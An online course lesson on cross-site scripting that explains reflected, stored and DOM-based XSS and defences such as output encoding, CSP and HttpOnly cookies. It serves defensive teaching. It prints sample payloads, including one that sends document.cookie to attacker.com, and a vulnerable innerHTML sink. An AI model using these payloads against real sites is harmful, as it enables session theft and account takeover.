Cross-Site Scripting (XSS)
Explore reflected, stored, and DOM-based XSS with real payloads and CSP mitigations.
Cross-Site Scripting (XSS) is a free Cyber Security Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
What is XSS?
Cross-Site Scripting (XSS) occurs when an attacker injects malicious JavaScript into a web page viewed by other users. The browser executes the script in the context of the victim's session, enabling cookie theft, keylogging, and page manipulation.
Reflected XSS
Reflected XSS (non-persistent): the malicious script is included in the request (e.g., URL parameter) and reflected in the response. The victim must click a crafted link. Example: https://site.com/search?q=<script>alert(1)</script>
Stored XSS
Stored XSS (persistent): the malicious script is saved in the database (e.g., comment, profile field) and served to every visitor. More dangerous than reflected XSS because no special link is needed — every page view triggers the script.
DOM-Based XSS
DOM-based XSS occurs when JavaScript reads attacker-controlled data (URL hash, query param) and writes it to the DOM without sanitization. The attack happens entirely client-side; the server never sees the payload.
// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>XSS Impact
What an attacker can do with XSS:
- Steal session cookies (
document.cookie) → account takeover - Log keystrokes (steal passwords as typed)
- Redirect to phishing sites
- Perform actions as the victim (CSRF via XSS)
- Deface the page
XSS Payloads
Simple test payloads:
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>Output Encoding
The primary defense: encode all user-controlled output before inserting into HTML. Convert special characters to HTML entities: < → <, > → >, " → ".
Use context-appropriate encoding: HTML, JS, URL, CSS.
Content Security Policy (CSP)
CSP is a response header that tells the browser which scripts are allowed to execute. A strict CSP blocks inline scripts and limits sources:
# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domainsHttpOnly Cookies
Setting the HttpOnly flag on session cookies prevents JavaScript from reading them via document.cookie. Even if XSS fires, the attacker cannot steal the session token. This is the most important mitigation layer alongside output encoding.
Sanitization Libraries
When users must be allowed to input HTML (e.g., rich text editors), use a sanitization library rather than writing your own:
- DOMPurify (JavaScript)
- bleach (Python)
- OWASP Java HTML Sanitizer
XSS Testing
Test for XSS with browser dev tools, Burp Suite, or automated scanners. Check all user-input fields, URL parameters, HTTP headers, and DOM sink functions: innerHTML, document.write, eval, setTimeout with string args.
Quick Check: XSS
Which XSS type stores the malicious payload in the database, making it execute for every visitor of the affected page?
Lesson Recap
XSS injects JavaScript into pages viewed by victims. Types: reflected (URL-based), stored (database-persisted), DOM-based (client-side). Primary defenses: output encoding, HttpOnly cookies, Content Security Policy. Use DOMPurify for HTML sanitization. Never insert unsanitized user data into innerHTML or eval().
Frequently asked questions
Is the “Cross-Site Scripting (XSS)” lesson free?
Yes — the full text of “Cross-Site Scripting (XSS)” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.
What will I learn in “Cross-Site Scripting (XSS)”?
Explore reflected, stored, and DOM-based XSS with real payloads and CSP mitigations. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cyber Security Academy?
No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Cross-Site Scripting (XSS)” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cyber Security Academy lesson?
Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.